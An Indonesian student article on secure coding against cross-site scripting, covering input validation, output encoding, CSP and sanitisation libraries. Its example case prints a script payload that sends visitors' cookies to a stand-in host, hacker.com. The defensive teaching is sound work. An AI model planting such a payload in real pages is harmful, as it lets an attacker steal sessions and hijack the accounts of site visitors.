Pendahuluan
Cross Site Scripting (XSS) adalah salah satu jenis serangan yang paling sering ditemukan dalam aplikasi web. Serangan ini terjadi ketika penyerang menyisipkan skrip berbahaya ke dalam halaman web, lalu dijalankan di browser pengguna. Akibatnya, data pengguna bisa dicuri, akun bisa dibajak, bahkan seluruh sistem bisa terganggu.

Untuk mencegah hal ini, web developer perlu memahami pentingnya secure coding. Secure coding adalah praktik menulis kode yang aman sejak awal, bukan menunggu aplikasi jadi baru diperbaiki. Dengan memahami dan menerapkan prinsip secure coding, risiko XSS bisa dikurangi secara signifikan. Artikel ini akan membahas bagaimana secure coding dapat diterapkan untuk mencegah XSS.

Pengertian Secure Coding
Secure coding adalah pendekatan dalam menulis kode program yang mempertimbangkan aspek keamanan sejak awal pengembangan. Tujuan utamanya adalah mencegah kerentanan yang bisa dimanfaatkan oleh penyerang. Dalam konteks XSS, secure coding berarti menulis kode yang tidak memberi kesempatan bagi skrip berbahaya untuk dijalankan di browser pengguna.

Cara Kerja Serangan XSS
Serangan XSS biasanya memanfaatkan celah di mana input dari pengguna ditampilkan kembali ke halaman web tanpa penyaringan atau pengamanan. Misalnya, jika seseorang menulis komentar seperti <script>alert('XSS')</script>, dan komentar itu langsung ditampilkan tanpa diubah, maka skrip tersebut akan dijalankan secara otomatis saat halaman dibuka. Ini bisa dimanfaatkan penyerang untuk mencuri data atau melakukan manipulasi halaman.

Prinsip Secure Coding untuk Mencegah XSS

  1. Validasi dan Sanitasi Input
    Semua input dari pengguna harus diperiksa terlebih dahulu. Jangan pernah percaya pada data yang berasal dari luar. Validasi digunakan untuk memastikan bahwa input sesuai dengan format yang diinginkan, misalnya hanya angka, huruf, atau email. Sanitasi digunakan untuk menghapus karakter berbahaya seperti tag <script> atau simbol-simbol HTML tertentu.

  2. Encoding Output
    Sebelum data ditampilkan ke halaman web, data tersebut harus diencode. Ini berarti karakter-karakter seperti <, >, dan " akan diubah ke bentuk yang aman agar tidak dijalankan sebagai skrip. Contohnya, < akan menjadi &lt; sehingga tampil sebagai teks biasa, bukan tag HTML.

  3. Menghindari Fungsi yang Tidak Aman
    Fungsi seperti innerHTML, document.write(), dan eval() sebaiknya dihindari, karena bisa menjalankan skrip dari input pengguna. Sebagai gantinya, gunakan textContent, innerText, atau metode lain yang menampilkan teks tanpa eksekusi skrip.

  4. Menggunakan Framework dan Library yang Aman
    Banyak framework modern seperti React, Angular, dan Vue sudah memiliki fitur keamanan bawaan yang mencegah XSS. Misalnya, React secara otomatis meng-escape semua output HTML. Namun, fitur ini hanya efektif jika developer tidak menonaktifkan pengamanannya.

  5. Menerapkan Content Security Policy (CSP)
    CSP adalah aturan yang dikirim oleh server ke browser untuk mengatur dari mana skrip boleh dijalankan. Dengan CSP, browser bisa memblokir skrip berbahaya meskipun masuk ke halaman. Ini merupakan lapisan perlindungan tambahan yang sangat efektif.

  6. Menggunakan Library Sanitasi
    Jika aplikasi mengizinkan input HTML dari pengguna, seperti komentar atau artikel, gunakan library seperti DOMPurify untuk membersihkan elemen-elemen berbahaya dari input tersebut sebelum ditampilkan.

  7. Menghindari Menampilkan Pesan Error Mentah ke Pengguna
    Pesan error seperti log sistem, pesan debug, atau traceback tidak boleh ditampilkan langsung ke halaman. Informasi ini bisa dimanfaatkan oleh penyerang. Sebaiknya, tampilkan pesan umum seperti “Terjadi kesalahan” dan simpan detail teknis di server log.

  8. Melakukan Pengujian Keamanan Secara Berkala
    Gunakan alat seperti OWASP ZAP, Burp Suite, atau scanner keamanan untuk mendeteksi potensi XSS. Uji coba ini perlu dilakukan setiap kali ada perubahan dalam sistem atau saat menambahkan fitur baru.

Contoh Kasus Sederhana
Sebuah situs berita memiliki kolom komentar yang langsung menampilkan isi komentar tanpa penyaringan. Penyerang memasukkan komentar <script>document.location='http://hacker.com?cookie='+document.cookie</script>. Setiap pengguna yang membaca komentar ini akan secara otomatis mengirimkan cookie-nya ke penyerang. Ini bisa dicegah jika input disanitasi dan output diencode.

Kesimpulan
Serangan XSS dapat menimbulkan kerugian besar, baik bagi pengguna maupun pengelola aplikasi. Namun, dengan menerapkan prinsip secure coding secara konsisten, web developer bisa mencegah celah tersebut sejak awal pengembangan. Validasi input, encoding output, penggunaan library aman, serta pengujian keamanan yang rutin adalah langkah penting untuk menciptakan aplikasi web yang aman. Keamanan bukan hanya tugas tim IT atau keamanan, tapi tanggung jawab setiap developer dalam setiap baris kode yang ditulis.

NAMA: AISYA

NIM: 23156201029

PRODI: SISTEM KOMPUTER